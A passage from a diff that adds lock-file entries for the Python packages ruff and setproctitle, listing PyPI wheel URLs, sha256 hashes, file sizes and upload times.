+    { url = "https://files.pythonhosted.org/packages/c1/4a/891f89b9c296ed3e5f3ece1a5629badc989d9a8fdaa30431aaf4774bc1c2/ruff-0.15.18-py3-none-manylinux_2_31_riscv64.whl", hash = "sha256:2330215f1f393fa8733f55edce04fcf94c36a2c460fcde31f78cc84e4951e9b1", size = 11582834, upload-time = "2026-06-18T18:25:27.309Z" },
+    { url = "https://files.pythonhosted.org/packages/32/a3/ed9e370154bf85de360b93c03026157f02d4943b2d01ff4945f4429f8e8a/ruff-0.15.18-py3-none-musllinux_1_2_aarch64.whl", hash = "sha256:a6aa6a3d979e48ae617578183674bf264fbe7d0114a796a26bd678d67963c7ff", size = 10927328, upload-time = "2026-06-18T18:25:34.676Z" },
+    { url = "https://files.pythonhosted.org/packages/f5/d1/5cf5909329fedb5d39d555ee818ba5cf4638e1a301b89785d34f2905bfcb/ruff-0.15.18-py3-none-musllinux_1_2_armv7l.whl", hash = "sha256:a81beadbbff2c9c245561ae3f77b16709d87f35eec650d0501679239d3449b22", size = 10693187, upload-time = "2026-06-18T18:25:08.245Z" },
+    { url = "https://files.pythonhosted.org/packages/fd/44/ff6c635cf2c4f4e7b618b6640da057376baa36014695487d88aed4794268/ruff-0.15.18-py3-none-musllinux_1_2_i686.whl", hash = "sha256:2186d9e940ae332ab293623a75b5f4fe49565f449954d50a72a046683aa6b809", size = 11208721, upload-time = "2026-06-18T18:25:41.327Z" },
+    { url = "https://files.pythonhosted.org/packages/88/d9/5baa2a30861adfb7022cf33c1e35b2fc18085b08c16f83eff4c7b99a5f48/ruff-0.15.18-py3-none-musllinux_1_2_x86_64.whl", hash = "sha256:5c2abf140438032bc77b2284a6c9944ecd8a19e5f1c7b52b1b8e4a0a80d19a7a", size = 11678599, upload-time = "2026-06-18T18:25:13.607Z" },
+    { url = "https://files.pythonhosted.org/packages/c3/1a/0725a7cfdc32ff769efb96ee782bec882e16448c5d9e3be947ec4c04ce27/ruff-0.15.18-py3-none-win32.whl", hash = "sha256:02299e6e9fa5b297a3f6d5d10d7bcd655c925b028bb8b9d4588214549c6b9ec4", size = 10901903, upload-time = "2026-06-18T18:25:24.755Z" },
+    { url = "https://files.pythonhosted.org/packages/f3/51/805d9f6fb7970505c3504794a5ec350f605361b807fef4dcf214ebd35e72/ruff-0.15.18-py3-none-win_amd64.whl", hash = "sha256:dac80dc8d26b2257dbefabed62f5d255c3937b4ccb122da1fc634794fa3578b3", size = 12041189, upload-time = "2026-06-18T18:25:17.915Z" },
+    { url = "https://files.pythonhosted.org/packages/29/4c/67bb45e41609eb4726f1bfeb59e083cf91d14c696d4bd14c234a980be93d/ruff-0.15.18-py3-none-win_arm64.whl", hash = "sha256:b2c9257fcbd4a3e5b977a1904e6facca016bafe2edc17df24db67cfaee03b4e4", size = 11329958, upload-time = "2026-06-18T18:25:43.686Z" },
+]
+
+[[package]]
+name = "setproctitle"
+version = "1.3.7"
+source = { registry = "https://pypi.org/simple" }
+sdist = { url = "https://files.pythonhosted.org/packages/8d/48/49393a96a2eef1ab418b17475fb92b8fcfad83d099e678751b05472e69de/setproctitle-1.3.7.tar.gz", hash = "sha256:bc2bc917691c1537d5b9bca1468437176809c7e11e5694ca79a9ca12345dcb9e", size = 27002, upload-time = "2025-09-05T12:51:25.278Z" }
+wheels = [
+    { url = "https://files.pythonhosted.org/packages/f2/48/fb401ec8c4953d519d05c87feca816ad668b8258448ff60579ac7a1c1386/setproctitle-1.3.7-cp310-cp310-macosx_10_9_universal2.whl", hash = "sha256:cf555b6299f10a6eb44e4f96d2f5a3884c70ce25dc5c8796aaa2f7b40e72cb1b", size = 18079, upload-time = "2025-09-05T12:49:07.732Z" },
+    { url = "https://files.pythonhosted.org/packages/cc/a3/c2b0333c2716fb3b4c9a973dd113366ac51b4f8d56b500f4f8f704b4817a/setproctitle-1.3.7-cp310-cp310-macosx_11_0_arm64.whl", hash = "sha256:690b4776f9c15aaf1023bb07d7c5b797681a17af98a4a69e76a1d504e41108b7", size = 13099, upload-time = "2025-09-05T12:49:09.222Z" },
+    { url = "https://files.pythonhosted.org/packages/0e/f8/17bda581c517678260e6541b600eeb67745f53596dc077174141ba2f6702/setproctitle-1.3.7-cp310-cp310-manylinux1_x86_64.manylinux_2_28_x86_64.manylinux_2_5_x86_64.whl", hash = "sha256:00afa6fc507967d8c9d592a887cdc6c1f5742ceac6a4354d111ca0214847732c", size = 31793, upload-time = "2025-09-05T12:49:10.297Z" },
+    { url = "https://files.pythonhosted.org/packages/27/d1/76a33ae80d4e788ecab9eb9b53db03e81cfc95367ec7e3fbf4989962fedd/setproctitle-1.3.7-cp310-cp310-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:9e02667f6b9fc1238ba753c0f4b0a37ae184ce8f3bbbc38e115d99646b3f4cd3", size = 32779, upload-time = "2025-09-05T12:49:12.157Z" },
+    { url = "https://files.pythonhosted.org/packages/59/27/1a07c38121967061564f5e0884414a5ab11a783260450172d4fc68c15621/setproctitle-1.3.7-cp310-cp310-manylinux2014_ppc64le.manylinux_2_17_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:83fcd271567d133eb9532d3b067c8a75be175b2b3b271e2812921a05303a693f", size = 34578, upload-time = "2025-09-05T12:49:13.393Z" },
+    { url = "https://files.pythonhosted.org/packages/d8/d4/725e6353935962d8bb12cbf7e7abba1d0d738c7f6935f90239d8e1ccf913/setproctitle-1.3.7-cp310-cp310-musllinux_1_2_aarch64.whl", hash = "sha256:13fe37951dda1a45c35d77d06e3da5d90e4f875c4918a7312b3b4556cfa7ff64", size = 32030, upload-time = "2025-09-05T12:49:15.362Z" },
+    { url = "https://files.pythonhosted.org/packages/67/24/e4677ae8e1cb0d549ab558b12db10c175a889be0974c589c428fece5433e/setproctitle-1.3.7-cp310-cp310-musllinux_1_2_ppc64le.whl", hash = "sha256:a05509cfb2059e5d2ddff701d38e474169e9ce2a298cf1b6fd5f3a213a553fe5", size = 33363, upload-time = "2025-09-05T12:49:16.829Z" },
+    { url = "https://files.pythonhosted.org/packages/55/d4/69ce66e4373a48fdbb37489f3ded476bb393e27f514968c3a69a67343ae0/setproctitle-1.3.7-cp310-cp310-musllinux_1_2_x86_64.whl", hash = "sha256:6da835e76ae18574859224a75db6e15c4c2aaa66d300a57efeaa4c97ca4c7381", size = 31508, upload-time = "2025-09-05T12:49:18.032Z" },
+    { url = "https://files.pythonhosted.org/packages/4b/5a/42c1ed0e9665d068146a68326529b5686a1881c8b9197c2664db4baf6aeb/setproctitle-1.3.7-cp310-cp310-win32.whl", hash = "sha256:9e803d1b1e20240a93bac0bc1025363f7f80cb7eab67dfe21efc0686cc59ad7c", size = 12558, upload-time = "2025-09-05T12:49:19.742Z" },
+    { url = "https://files.pythonhosted.org/packages/dc/fe/dd206cc19a25561921456f6cb12b405635319299b6f366e0bebe872abc18/setproctitle-1.3.7-cp310-cp310-win_amd64.whl", hash = "sha256:a97200acc6b64ec4cada52c2ecaf1fba1ef9429ce9c542f8a7db5bcaa9dcbd95", size = 13245, upload-time = "2025-09-05T12:49:21.023Z" },
+    { url = "https://files.pythonhosted.org/packages/04/cd/1b7ba5cad635510720ce19d7122154df96a2387d2a74217be552887c93e5/setproctitle-1.3.7-cp311-cp311-macosx_10_9_universal2.whl", hash = "sha256:a600eeb4145fb0ee6c287cb82a2884bd4ec5bbb076921e287039dcc7b7cc6dd0", size = 18085, upload-time = "2025-09-05T12:49:22.183Z" },
+    { url = "https://files.pythonhosted.org/packages/8f/1a/b2da0a620490aae355f9d72072ac13e901a9fec809a6a24fc6493a8f3c35/setproctitle-1.3.7-cp311-cp311-macosx_11_0_arm64.whl", hash = "sha256:97a090fed480471bb175689859532709e28c085087e344bca45cf318034f70c4", size = 13097, upload-time = "2025-09-05T12:49:23.322Z" },
+    { url = "https://files.pythonhosted.org/packages/18/2e/bd03ff02432a181c1787f6fc2a678f53b7dacdd5ded69c318fe1619556e8/setproctitle-1.3.7-cp311-cp311-manylinux1_x86_64.manylinux_2_28_x86_64.manylinux_2_5_x86_64.whl", hash = "sha256:1607b963e7b53e24ec8a2cb4e0ab3ae591d7c6bf0a160feef0551da63452b37f", size = 32191, upload-time = "2025-09-05T12:49:24.567Z" },
+    { url = "https://files.pythonhosted.org/packages/28/78/1e62fc0937a8549f2220445ed2175daacee9b6764c7963b16148119b016d/setproctitle-1.3.7-cp311-cp311-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:a20fb1a3974e2dab857870cf874b325b8705605cb7e7e8bcbb915bca896f52a9", size = 33203, upload-time = "2025-09-05T12:49:25.871Z" },
+    { url = "https://files.pythonhosted.org/packages/a0/3c/65edc65db3fa3df400cf13b05e9d41a3c77517b4839ce873aa6b4043184f/setproctitle-1.3.7-cp311-cp311-manylinux2014_ppc64le.manylinux_2_17_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:f8d961bba676e07d77665204f36cffaa260f526e7b32d07ab3df6a2c1dfb44ba", size = 34963, upload-time = "2025-09-05T12:49:27.044Z" },
+    { url = "https://files.pythonhosted.org/packages/a1/32/89157e3de997973e306e44152522385f428e16f92f3cf113461489e1e2ee/setproctitle-1.3.7-cp311-cp311-musllinux_1_2_aarch64.whl", hash = "sha256:db0fd964fbd3a9f8999b502f65bd2e20883fdb5b1fae3a424e66db9a793ed307", size = 32398, upload-time = "2025-09-05T12:49:28.909Z" },
+    { url = "https://files.pythonhosted.org/packages/4a/18/77a765a339ddf046844cb4513353d8e9dcd8183da9cdba6e078713e6b0b2/setproctitle-1.3.7-cp311-cp311-musllinux_1_2_ppc64le.whl", hash = "sha256:db116850fcf7cca19492030f8d3b4b6e231278e8fe097a043957d22ce1bdf3ee", size = 33657, upload-time = "2025-09-05T12:49:30.323Z" },
+    { url = "https://files.pythonhosted.org/packages/6b/63/f0b6205c64d74d2a24a58644a38ec77bdbaa6afc13747e75973bf8904932/setproctitle-1.3.7-cp311-cp311-musllinux_1_2_x86_64.whl", hash = "sha256:316664d8b24a5c91ee244460bdaf7a74a707adaa9e14fbe0dc0a53168bb9aba1", size = 31836, upload-time = "2025-09-05T12:49:32.309Z" },
+    { url = "https://files.pythonhosted.org/packages/ba/51/e1277f9ba302f1a250bbd3eedbbee747a244b3cc682eb58fb9733968f6d8/setproctitle-1.3.7-cp311-cp311-win32.whl", hash = "sha256:b74774ca471c86c09b9d5037c8451fff06bb82cd320d26ae5a01c758088c0d5d", size = 12556, upload-time = "2025-09-05T12:49:33.529Z" },
+    { url = "https://files.pythonhosted.org/packages/b6/7b/822a23f17e9003dfdee92cd72758441ca2a3680388da813a371b716fb07f/setproctitle-1.3.7-cp311-cp311-win_amd64.whl", hash = "sha256:acb9097213a8dd3410ed9f0dc147840e45ca9797785272928d4be3f0e69e3be4", size = 13243, upload-time = "2025-09-05T12:49:34.553Z" },
+    { url = "https://files.pythonhosted.org/packages/fb/f0/2dc88e842077719d7384d86cc47403e5102810492b33680e7dadcee64cd8/setproctitle-1.3.7-cp312-cp312-macosx_10_13_universal2.whl", hash = "sha256:2dc99aec591ab6126e636b11035a70991bc1ab7a261da428491a40b84376654e", size = 18049, upload-time = "2025-09-05T12:49:36.241Z" },
+    { url = "https://files.pythonhosted.org/packages/f0/b4/50940504466689cda65680c9e9a1e518e5750c10490639fa687489ac7013/setproctitle-1.3.7-cp312-cp312-macosx_11_0_arm64.whl", hash = "sha256:cdd8aa571b7aa39840fdbea620e308a19691ff595c3a10231e9ee830339dd798", size = 13079, upload-time = "2025-09-05T12:49:38.088Z" },
+    { url = "https://files.pythonhosted.org/packages/d0/99/71630546b9395b095f4082be41165d1078204d1696c2d9baade3de3202d0/setproctitle-1.3.7-cp312-cp312-manylinux1_x86_64.manylinux_2_28_x86_64.manylinux_2_5_x86_64.whl", hash = "sha256:2906b6c7959cdb75f46159bf0acd8cc9906cf1361c9e1ded0d065fe8f9039629", size = 32932, upload-time = "2025-09-05T12:49:39.271Z" },
+    { url = "https://files.pythonhosted.org/packages/50/22/cee06af4ffcfb0e8aba047bd44f5262e644199ae7527ae2c1f672b86495c/setproctitle-1.3.7-cp312-cp312-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:6915964a6dda07920a1159321dcd6d94fc7fc526f815ca08a8063aeca3c204f1", size = 33736, upload-time = "2025-09-05T12:49:40.565Z" },
+    { url = "https://files.pythonhosted.org/packages/5c/00/a5949a8bb06ef5e7df214fc393bb2fb6aedf0479b17214e57750dfdd0f24/setproctitle-1.3.7-cp312-cp312-manylinux2014_ppc64le.manylinux_2_17_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:cff72899861c765bd4021d1ff1c68d60edc129711a2fdba77f9cb69ef726a8b6", size = 35605, upload-time = "2025-09-05T12:49:42.362Z" },
+    { url = "https://files.pythonhosted.org/packages/b0/3a/50caca532a9343828e3bf5778c7a84d6c737a249b1796d50dd680290594d/setproctitle-1.3.7-cp312-cp312-musllinux_1_2_aarch64.whl", hash = "sha256:b7cb05bd446687ff816a3aaaf831047fc4c364feff7ada94a66024f1367b448c", size = 33143, upload-time = "2025-09-05T12:49:43.515Z" },
+    { url = "https://files.pythonhosted.org/packages/ca/14/b843a251296ce55e2e17c017d6b9f11ce0d3d070e9265de4ecad948b913d/setproctitle-1.3.7-cp312-cp312-musllinux_1_2_ppc64le.whl", hash = "sha256:3a57b9a00de8cae7e2a1f7b9f0c2ac7b69372159e16a7708aa2f38f9e5cc987a", size = 34434, upload-time = "2025-09-05T12:49:45.31Z" },
+    { url = "https://files.pythonhosted.org/packages/c8/b7/06145c238c0a6d2c4bc881f8be230bb9f36d2bf51aff7bddcb796d5eed67/setproctitle-1.3.7-cp312-cp312-musllinux_1_2_x86_64.whl", hash = "sha256:d8828b356114f6b308b04afe398ed93803d7fca4a955dd3abe84430e28d33739", size = 32795, upload-time = "2025-09-05T12:49:46.419Z" },
+    { url = "https://files.pythonhosted.org/packages/ef/dc/ef76a81fac9bf27b84ed23df19c1f67391a753eed6e3c2254ebcb5133f56/setproctitle-1.3.7-cp312-cp312-win32.whl", hash = "sha256:b0304f905efc845829ac2bc791ddebb976db2885f6171f4a3de678d7ee3f7c9f", size = 12552, upload-time = "2025-09-05T12:49:47.635Z" },
+    { url = "https://files.pythonhosted.org/packages/e2/5b/a9fe517912cd6e28cf43a212b80cb679ff179a91b623138a99796d7d18a0/setproctitle-1.3.7-cp312-cp312-win_amd64.whl", hash = "sha256:9888ceb4faea3116cf02a920ff00bfbc8cc899743e4b4ac914b03625bdc3c300", size = 13247, upload-time = "2025-09-05T12:49:49.16Z" },
+    { url = "https://files.pythonhosted.org/packages/5d/2f/fcedcade3b307a391b6e17c774c6261a7166aed641aee00ed2aad96c63ce/setproctitle-1.3.7-cp313-cp313-macosx_10_13_universal2.whl", hash = "sha256:c3736b2a423146b5e62230502e47e08e68282ff3b69bcfe08a322bee73407922", size = 18047, upload-time = "2025-09-05T12:49:50.271Z" },
+    { url = "https://files.pythonhosted.org/packages/23/ae/afc141ca9631350d0a80b8f287aac79a76f26b6af28fd8bf92dae70dc2c5/setproctitle-1.3.7-cp313-cp313-macosx_11_0_arm64.whl", hash = "sha256:3384e682b158d569e85a51cfbde2afd1ab57ecf93ea6651fe198d0ba451196ee", size = 13073, upload-time = "2025-09-05T12:49:51.46Z" },
+    { url = "https://files.pythonhosted.org/packages/87/ed/0a4f00315bc02510395b95eec3d4aa77c07192ee79f0baae77ea7b9603d8/setproctitle-1.3.7-cp313-cp313-manylinux1_x86_64.manylinux_2_28_x86_64.manylinux_2_5_x86_64.whl", hash = "sha256:0564a936ea687cd24dffcea35903e2a20962aa6ac20e61dd3a207652401492dd", size = 33284, upload-time = "2025-09-05T12:49:52.741Z" },
+    { url = "https://files.pythonhosted.org/packages/fc/e4/adf3c4c0a2173cb7920dc9df710bcc67e9bcdbf377e243b7a962dc31a51a/setproctitle-1.3.7-cp313-cp313-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:a5d1cb3f81531f0eb40e13246b679a1bdb58762b170303463cb06ecc296f26d0", size = 34104, upload-time = "2025-09-05T12:49:54.416Z" },
+    { url = "https://files.pythonhosted.org/packages/52/4f/6daf66394152756664257180439d37047aa9a1cfaa5e4f5ed35e93d1dc06/setproctitle-1.3.7-cp313-cp313-manylinux2014_ppc64le.manylinux_2_17_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:a7d159e7345f343b44330cbba9194169b8590cb13dae940da47aa36a72aa9929", size = 35982, upload-time = "2025-09-05T12:49:56.295Z" },
+    { url = "https://files.pythonhosted.org/packages/1b/62/f2c0595403cf915db031f346b0e3b2c0096050e90e0be658a64f44f4278a/setproctitle-1.3.7-cp313-cp313-musllinux_1_2_aarch64.whl", hash = "sha256:0b5074649797fd07c72ca1f6bff0406f4a42e1194faac03ecaab765ce605866f", size = 33150, upload-time = "2025-09-05T12:49:58.025Z" },
+    { url = "https://files.pythonhosted.org/packages/a0/29/10dd41cde849fb2f9b626c846b7ea30c99c81a18a5037a45cc4ba33c19a7/setproctitle-1.3.7-cp313-cp313-musllinux_1_2_ppc64le.whl", hash = "sha256:61e96febced3f61b766115381d97a21a6265a0f29188a791f6df7ed777aef698", size = 34463, upload-time = "2025-09-05T12:49:59.424Z" },
+    { url = "https://files.pythonhosted.org/packages/71/3c/cedd8eccfaf15fb73a2c20525b68c9477518917c9437737fa0fda91e378f/setproctitle-1.3.7-cp313-cp313-musllinux_1_2_x86_64.whl", hash = "sha256:047138279f9463f06b858e579cc79580fbf7a04554d24e6bddf8fe5dddbe3d4c", size = 32848, upload-time = "2025-09-05T12:50:01.107Z" },
+    { url = "https://files.pythonhosted.org/packages/d1/3e/0a0e27d1c9926fecccfd1f91796c244416c70bf6bca448d988638faea81d/setproctitle-1.3.7-cp313-cp313-win32.whl", hash = "sha256:7f47accafac7fe6535ba8ba9efd59df9d84a6214565108d0ebb1199119c9cbbd", size = 12544, upload-time = "2025-09-05T12:50:15.81Z" },
+    { url = "https://files.pythonhosted.org/packages/36/1b/6bf4cb7acbbd5c846ede1c3f4d6b4ee52744d402e43546826da065ff2ab7/setproctitle-1.3.7-cp313-cp313-win_amd64.whl", hash = "sha256:fe5ca35aeec6dc50cabab9bf2d12fbc9067eede7ff4fe92b8f5b99d92e21263f", size = 13235, upload-time = "2025-09-05T12:50:16.89Z" },
+    { url = "https://files.pythonhosted.org/packages/e6/a4/d588d3497d4714750e3eaf269e9e8985449203d82b16b933c39bd3fc52a1/setproctitle-1.3.7-cp313-cp313t-macosx_10_13_universal2.whl", hash = "sha256:10e92915c4b3086b1586933a36faf4f92f903c5554f3c34102d18c7d3f5378e9", size = 18058, upload-time = "2025-09-05T12:50:02.501Z" },
+    { url = "https://files.pythonhosted.org/packages/05/77/7637f7682322a7244e07c373881c7e982567e2cb1dd2f31bd31481e45500/setproctitle-1.3.7-cp313-cp313t-macosx_11_0_arm64.whl", hash = "sha256:de879e9c2eab637f34b1a14c4da1e030c12658cdc69ee1b3e5be81b380163ce5", size = 13072, upload-time = "2025-09-05T12:50:03.601Z" },
+    { url = "https://files.pythonhosted.org/packages/52/09/f366eca0973cfbac1470068d1313fa3fe3de4a594683385204ec7f1c4101/setproctitle-1.3.7-cp313-cp313t-manylinux1_x86_64.manylinux_2_28_x86_64.manylinux_2_5_x86_64.whl", hash = "sha256:c18246d88e227a5b16248687514f95642505000442165f4b7db354d39d0e4c29", size = 34490, upload-time = "2025-09-05T12:50:04.948Z" },
+    { url = "https://files.pythonhosted.org/packages/71/36/611fc2ed149fdea17c3677e1d0df30d8186eef9562acc248682b91312706/setproctitle-1.3.7-cp313-cp313t-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:7081f193dab22df2c36f9fc6d113f3793f83c27891af8fe30c64d89d9a37e152", size = 35267, upload-time = "2025-09-05T12:50:06.015Z" },
+    { url = "https://files.pythonhosted.org/packages/88/a4/64e77d0671446bd5a5554387b69e1efd915274686844bea733714c828813/setproctitle-1.3.7-cp313-cp313t-manylinux2014_ppc64le.manylinux_2_17_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:9cc9b901ce129350637426a89cfd650066a4adc6899e47822e2478a74023ff7c", size = 37376, upload-time = "2025-09-05T12:50:07.484Z" },
+    { url = "https://files.pythonhosted.org/packages/89/bc/ad9c664fe524fb4a4b2d3663661a5c63453ce851736171e454fa2cdec35c/setproctitle-1.3.7-cp313-cp313t-musllinux_1_2_aarch64.whl", hash = "sha256:80e177eff2d1ec172188d0d7fd9694f8e43d3aab76a6f5f929bee7bf7894e98b", size = 33963, upload-time = "2025-09-05T12:50:09.056Z" },
+    { url = "https://files.pythonhosted.org/packages/ab/01/a36de7caf2d90c4c28678da1466b47495cbbad43badb4e982d8db8167ed4/setproctitle-1.3.7-cp313-cp313t-musllinux_1_2_ppc64le.whl", hash = "sha256:23e520776c445478a67ee71b2a3c1ffdafbe1f9f677239e03d7e2cc635954e18", size = 35550, upload-time = "2025-09-05T12:50:10.791Z" },
+    { url = "https://files.pythonhosted.org/packages/dd/68/17e8aea0ed5ebc17fbf03ed2562bfab277c280e3625850c38d92a7b5fcd9/setproctitle-1.3.7-cp313-cp313t-musllinux_1_2_x86_64.whl", hash = "sha256:5fa1953126a3b9bd47049d58c51b9dac72e78ed120459bd3aceb1bacee72357c", size = 33727, upload-time = "2025-09-05T12:50:12.032Z" },
+    { url = "https://files.pythonhosted.org/packages/b2/33/90a3bf43fe3a2242b4618aa799c672270250b5780667898f30663fd94993/setproctitle-1.3.7-cp313-cp313t-win32.whl", hash = "sha256:4a5e212bf438a4dbeece763f4962ad472c6008ff6702e230b4f16a037e2f6f29", size = 12549, upload-time = "2025-09-05T12:50:13.074Z" },
+    { url = "https://files.pythonhosted.org/packages/0b/0e/50d1f07f3032e1f23d814ad6462bc0a138f369967c72494286b8a5228e40/setproctitle-1.3.7-cp313-cp313t-win_amd64.whl", hash = "sha256:cf2727b733e90b4f874bac53e3092aa0413fe1ea6d4f153f01207e6ce65034d9", size = 13243, upload-time = "2025-09-05T12:50:14.146Z" },
+    { url = "https://files.pythonhosted.org/packages/89/c7/43ac3a98414f91d1b86a276bc2f799ad0b4b010e08497a95750d5bc42803/setproctitle-1.3.7-cp314-cp314-macosx_10_13_universal2.whl", hash = "sha256:80c36c6a87ff72eabf621d0c79b66f3bdd0ecc79e873c1e9f0651ee8bf215c63", size = 18052, upload-time = "2025-09-05T12:50:17.928Z" },
+    { url = "https://files.pythonhosted.org/packages/cd/2c/dc258600a25e1a1f04948073826bebc55e18dbd99dc65a576277a82146fa/setproctitle-1.3.7-cp314-cp314-macosx_11_0_arm64.whl", hash = "sha256:b53602371a52b91c80aaf578b5ada29d311d12b8a69c0c17fbc35b76a1fd4f2e", size = 13071, upload-time = "2025-09-05T12:50:19.061Z" },
+    { url = "https://files.pythonhosted.org/packages/ab/26/8e3bb082992f19823d831f3d62a89409deb6092e72fc6940962983ffc94f/setproctitle-1.3.7-cp314-cp314-manylinux1_x86_64.manylinux_2_28_x86_64.manylinux_2_5_x86_64.whl", hash = "sha256:fcb966a6c57cf07cc9448321a08f3be6b11b7635be502669bc1d8745115d7e7f", size = 33180, upload-time = "2025-09-05T12:50:20.395Z" },
+    { url = "https://files.pythonhosted.org/packages/f1/af/ae692a20276d1159dd0cf77b0bcf92cbb954b965655eb4a69672099bb214/setproctitle-1.3.7-cp314-cp314-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:46178672599b940368d769474fe13ecef1b587d58bb438ea72b9987f74c56ea5", size = 34043, upload-time = "2025-09-05T12:50:22.454Z" },
+    { url = "https://files.pythonhosted.org/packages/34/b2/6a092076324dd4dac1a6d38482bedebbff5cf34ef29f58585ec76e47bc9d/setproctitle-1.3.7-cp314-cp314-manylinux2014_ppc64le.manylinux_2_17_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:7f9e9e3ff135cbcc3edd2f4cf29b139f4aca040d931573102742db70ff428c17", size = 35892, upload-time = "2025-09-05T12:50:23.937Z" },
+    { url = "https://files.pythonhosted.org/packages/1c/1a/8836b9f28cee32859ac36c3df85aa03e1ff4598d23ea17ca2e96b5845a8f/setproctitle-1.3.7-cp314-cp314-musllinux_1_2_aarch64.whl", hash = "sha256:14c7eba8d90c93b0e79c01f0bd92a37b61983c27d6d7d5a3b5defd599113d60e", size = 32898, upload-time = "2025-09-05T12:50:25.617Z" },
+    { url = "https://files.pythonhosted.org/packages/ef/22/8fabdc24baf42defb599714799d8445fe3ae987ec425a26ec8e80ea38f8e/setproctitle-1.3.7-cp314-cp314-musllinux_1_2_ppc64le.whl", hash = "sha256:9e64e98077fb30b6cf98073d6c439cd91deb8ebbf8fc62d9dbf52bd38b0c6ac0", size = 34308, upload-time = "2025-09-05T12:50:26.827Z" },
+    { url = "https://files.pythonhosted.org/packages/15/1b/b9bee9de6c8cdcb3b3a6cb0b3e773afdb86bbbc1665a3bfa424a4294fda2/setproctitle-1.3.7-cp314-cp314-musllinux_1_2_x86_64.whl", hash = "sha256:b91387cc0f02a00ac95dcd93f066242d3cca10ff9e6153de7ee07069c6f0f7c8", size = 32536, upload-time = "2025-09-05T12:50:28.5Z" },
+    { url = "https://files.pythonhosted.org/packages/37/0c/75e5f2685a5e3eda0b39a8b158d6d8895d6daf3ba86dec9e3ba021510272/setproctitle-1.3.7-cp314-cp314-win32.whl", hash = "sha256:52b054a61c99d1b72fba58b7f5486e04b20fefc6961cd76722b424c187f362ed", size = 12731, upload-time = "2025-09-05T12:50:43.955Z" },
+    { url = "https://files.pythonhosted.org/packages/d2/ae/acddbce90d1361e1786e1fb421bc25baeb0c22ef244ee5d0176511769ec8/setproctitle-1.3.7-cp314-cp314-win_amd64.whl", hash = "sha256:5818e4080ac04da1851b3ec71e8a0f64e3748bf9849045180566d8b736702416", size = 13464, upload-time = "2025-09-05T12:50:45.057Z" },
+    { url = "https://files.pythonhosted.org/packages/01/6d/20886c8ff2e6d85e3cabadab6aab9bb90acaf1a5cfcb04d633f8d61b2626/setproctitle-1.3.7-cp314-cp314t-macosx_10_13_universal2.whl", hash = "sha256:6fc87caf9e323ac426910306c3e5d3205cd9f8dcac06d233fcafe9337f0928a3", size = 18062, upload-time = "2025-09-05T12:50:29.78Z" },
+    { url = "https://files.pythonhosted.org/packages/9a/60/26dfc5f198715f1343b95c2f7a1c16ae9ffa45bd89ffd45a60ed258d24ea/setproctitle-1.3.7-cp314-cp314t-macosx_11_0_arm64.whl", hash = "sha256:6134c63853d87a4897ba7d5cc0e16abfa687f6c66fc09f262bb70d67718f2309", size = 13075, upload-time = "2025-09-05T12:50:31.604Z" },
+    { url = "https://files.pythonhosted.org/packages/21/9c/980b01f50d51345dd513047e3ba9e96468134b9181319093e61db1c47188/setproctitle-1.3.7-cp314-cp314t-manylinux1_x86_64.manylinux_2_28_x86_64.manylinux_2_5_x86_64.whl", hash = "sha256:1403d2abfd32790b6369916e2313dffbe87d6b11dca5bbd898981bcde48e7a2b", size = 34744, upload-time = "2025-09-05T12:50:32.777Z" },
+    { url = "https://files.pythonhosted.org/packages/86/b4/82cd0c86e6d1c4538e1a7eb908c7517721513b801dff4ba3f98ef816a240/setproctitle-1.3.7-cp314-cp314t-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:e7c5bfe4228ea22373e3025965d1a4116097e555ee3436044f5c954a5e63ac45", size = 35589, upload-time = "2025-09-05T12:50:34.13Z" },
+    { url = "https://files.pythonhosted.org/packages/8a/4f/9f6b2a7417fd45673037554021c888b31247f7594ff4bd2239918c5cd6d0/setproctitle-1.3.7-cp314-cp314t-manylinux2014_ppc64le.manylinux_2_17_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:585edf25e54e21a94ccb0fe81ad32b9196b69ebc4fc25f81da81fb8a50cca9e4", size = 37698, upload-time = "2025-09-05T12:50:35.524Z" },
+    { url = "https://files.pythonhosted.org/packages/20/92/927b7d4744aac214d149c892cb5fa6dc6f49cfa040cb2b0a844acd63dcaf/setproctitle-1.3.7-cp314-cp314t-musllinux_1_2_aarch64.whl", hash = "sha256:96c38cdeef9036eb2724c2210e8d0b93224e709af68c435d46a4733a3675fee1", size = 34201, upload-time = "2025-09-05T12:50:36.697Z" },
+    { url = "https://files.pythonhosted.org/packages/0a/0c/fd4901db5ba4b9d9013e62f61d9c18d52290497f956745cd3e91b0d80f90/setproctitle-1.3.7-cp314-cp314t-musllinux_1_2_ppc64le.whl", hash = "sha256:45e3ef48350abb49cf937d0a8ba15e42cee1e5ae13ca41a77c66d1abc27a5070", size = 35801, upload-time = "2025-09-05T12:50:38.314Z" },
+    { url = "https://files.pythonhosted.org/packages/e7/e3/54b496ac724e60e61cc3447f02690105901ca6d90da0377dffe49ff99fc7/setproctitle-1.3.7-cp314-cp314t-musllinux_1_2_x86_64.whl", hash = "sha256:1fae595d032b30dab4d659bece20debd202229fce12b55abab978b7f30783d73", size = 33958, upload-time = "2025-09-05T12:50:39.841Z" },
+    { url = "https://files.pythonhosted.org/packages/ea/a8/c84bb045ebf8c6fdc7f7532319e86f8380d14bbd3084e6348df56bdfe6fd/setproctitle-1.3.7-cp314-cp314t-win32.whl", hash = "sha256:02432f26f5d1329ab22279ff863c83589894977063f59e6c4b4845804a08f8c2", size = 12745, upload-time = "2025-09-05T12:50:41.377Z" },
